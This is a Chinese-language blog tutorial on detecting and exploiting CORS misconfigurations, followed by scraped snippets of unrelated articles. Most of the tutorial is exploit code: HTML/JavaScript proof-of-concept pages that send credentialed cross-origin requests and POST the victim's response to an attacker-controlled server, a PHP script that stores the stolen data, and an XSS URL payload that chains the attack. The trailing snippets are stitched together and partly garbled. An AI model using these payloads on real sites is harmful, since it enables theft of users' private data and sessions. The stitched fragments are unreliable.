CORS漏洞利用检测和利用方式

  CORS全称Cross-Origin Resource Sharing, 跨域资源共享,是HTML5的一个新特性,已被所有浏览器支持,不同于古老的jsonp只能get请求。

检测方式:

  1.curl访问网站  

  curl https://www.huasec.com -H "Origin: https://test.com" -I

  检查返回包的 Access-Control-Allow-Origin 字段是否为https://test.com

  2.burpsuite发送请求包,查看返回包

  

  tips:Access-Control-Allow-Origin的值,当其为null、意味着信任任何域。

漏洞利用:

  1.同于csrf跨站请求伪造,发送钓鱼链接,读取用户敏感数据。

  poc:

<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>

<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
    document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "https://target.com/info/", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
</body>
</html>

  用户点击button弹出响应信息

document.getElementById("demo").innerHTML = alert(this.responseText);

 上面代码只是弹出响应信息,你还可以获取cookie,针对http-only js代码无法读取的情况:

  

<!DOCTYPE>
<html>
<h1>cors exploit</h1>
<script type="text/javascript">
function exploit()
{
    var xhr1;
    var xhr2;
    if(window.XMLHttpRequest)
    {
        xhr1 = new XMLHttpRequest();
        xhr2 = new XMLHttpRequest();
    }
    else
    {
        xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
        xhr2= new ActiveXObject("Microsoft.XMLHTTP");
    }
    xhr1.onreadystatechange=function()
    {
        if(xhr1.readyState == 4 && xhr1.status == 200)
        {
            var datas=xhr1.responseText;
            xhr2.open("POST","http://192.168.1.2/test.php","true");
            xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
            xhr2.send("z0="+escape(datas));
        }
    }
    xhr1.open("GET","http:/192.168.1.1/index.php","true")
    xhr1.withCredentials = true;
    xhr1.send();
}
exploit();
</script>
</html>

搭建的攻击服务器恶意代码 tes.php:

<?php
$file = fopen("secrect.html", "w+");
$res = $_POST[‘z0‘];
fwrite($file, $res);
fclose($res);
?>

  

  2.结合xss漏洞利用cors漏洞,针对http_only js代码无法读取

  poc:

function exploit() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
    if (this.status == 200) {
    alert(this.responseText);
    document.getElementById("demo").innerHTML = this.responseText;
    }
};
xhttp.open("GET", "http://192.168.1.1/index.php", true);
xhttp.withCredentials = true;
xhttp.send();
}
exploit();

  利用:

  

http://192.168.1.1/index.php?<script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","http:///192.168.1.1",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1

  同理结合上面代码,发送到你的服务器

批量检测:

https://github.com/chenjj/CORScanner

下载作者源码,发现检测方式同上,有兴趣的小伙伴可以继续分析,我先滚去睡觉了。。。

原文地址:https://www.cnblogs.com/junsec/p/11221943.html

时间: 2024-07-29 08:57:28

CORS漏洞利用检测和利用方式的相关文章

windows堆栈溢出利用的七种方式

文本由 www.169it.com 搜集整理 windows下的堆栈溢出攻击和unix下的,原理基本相同.但是,由于windows用户进程地址空间分配和堆栈处理有其独立的特点,导致了windows 环境下堆栈溢出攻击时,使用的堆栈溢出字符串,与unix下的,区别很大.另外,windows的版本也导致了windows下的exploit不具有通用性.windows版本不同,而exploit使用了很多动态链接库里面的库函数,其地址都是与dll的版本有关系的.不同的dll版本,里面的库函数的偏移地址就可

Fckeditor常见漏洞的挖掘与利用整理汇总

查看编辑器版本 FCKeditor/_whatsnew.html ------------------------------------------------------------- 2. Version 2.2 版本 Apache+linux 环境下在上传文件后面加个.突破!测试通过. ------------------------------------------------------------- 3.Version <=2.4.2 For php 在处理PHP 上传的地方并未

利用循环遍历的方式判断某个对象是否属于这个数组

<!doctype html><html > <head> <title>利用循环遍历的方式判断某个对象是否属于这个数组</title> <meta charset="UTF-8"> </head> <body> <!-- 利用循环遍历的方式判断某个对象是否属于这个数组; 不属于这个数组时,把这个对象填充到数组里面去: --> </body></html>

msf下的LNK漏洞(CVE-2017-8464)利用

0x01 前言 RCE漏洞存在于Windows处理LNK文件的环节.攻击者利用漏洞可以获得与本地用户相同的用户权限.被使用此漏洞攻击时,用户权限较少的账户相较管理员权限的用户受到的影响更小. 攻击者可以给受害者一个恶意的LNK 文件和关联的恶意二进制,文件可以存放在可移动磁盘或远程共享中.当用户用 Windows 资源管理器或任何其他能够解析LNK文件的软件,打开此驱动器 (或远程共享) 时,恶意文件就会在目标系统上执行攻击者的代码. 0x02 漏洞环境搭建与利用 漏洞环境搭建: kalix86

Bash漏洞批量检测工具与修复方案

&amp;amp;lt;img src="http://image.3001.net/images/20140928/14118931103311.jpg!small" title="shellshock-bug-bash-bashbug-938x535.jpg"/&amp;amp;gt;&amp;amp;lt;/strong&amp;amp;gt;&amp;amp;lt;/span&amp;amp;gt;&a

VxWorks Fuzzing 之道:VxWorks 工控实时操作系统漏洞挖掘调试与利用揭秘

转载:freebuf 0×00 前言 关于VxWorks,这里引用44CON议题<攻击 VxWorks:从石器时代到星际>探究 一文章中的介绍: VxWorks 是世界上使用最广泛的一种在嵌入式系统中部署的实时操作系统,是由美国WindRiver公司(简称风河公司,即WRS 公司)于1983年设计开发的.其市场范围跨越所有的安全关键领域,仅举几例,包括火星好奇心流浪者.波音787梦幻客机.网络路由器.这些应用程序的安全高危性质使得VxWorks的安全被高度关注. VxWorks操作系统是由美国

struts2架构网站漏洞修复详情与利用漏洞修复方案

struts2从开发出来到现在,很多互联网企业,公司,平台都在使用apache struts2系统来开发网站,以及应用系统,这几年来因为使用较多,被***者挖掘出来的struts2漏洞也越来越,从最一开始S2-001到现在的最新的s2-057漏洞,本文着重的给大家介绍一下struts2漏洞的利用详情以及漏洞修复办法. 先从1开始吧,S2-001影响的版本是Struts 2.0.0 - Struts 2.0.8版本,最早开始的版本漏洞太低级,当时的apache官方并没有设置安全机制,导致在提交参数

利用ADSL拨号上网方式如何搭建服务器

序:搭建服务器需要两个条件硬件服务器和固定公网IP,随便一台个人电脑都可以作为硬件服务器,就剩下一个问题,如何获得一个固定公网IP. 第一章 扫盲:ADSL拨号上网方式,本地IP与公网IP的区别 一.如何查看本地IP 方法:进入Dos,输入命令ipconfig即可看到自己的内网IP地址,这个地址作为局域网内部交流使用. 二.如何查看公网IP 方法:IE浏览器输入网址:http://www.ip138.com,可以看到本机访问互联网时的IP地址是163.125.59.28 第二章 一.公网IP是在

C#利用WebClient 两种方式下载文件

WebClient client = new WebClient(); 第一种 string URLAddress = @"http://files.cnblogs.com/x4646/tree.zip"; string [email protected]"C:\"; client.DownloadFile(URLAddress, receivePath + System.IO.Path.GetFileName(URLAddress)); 就OK了. 第二种 Str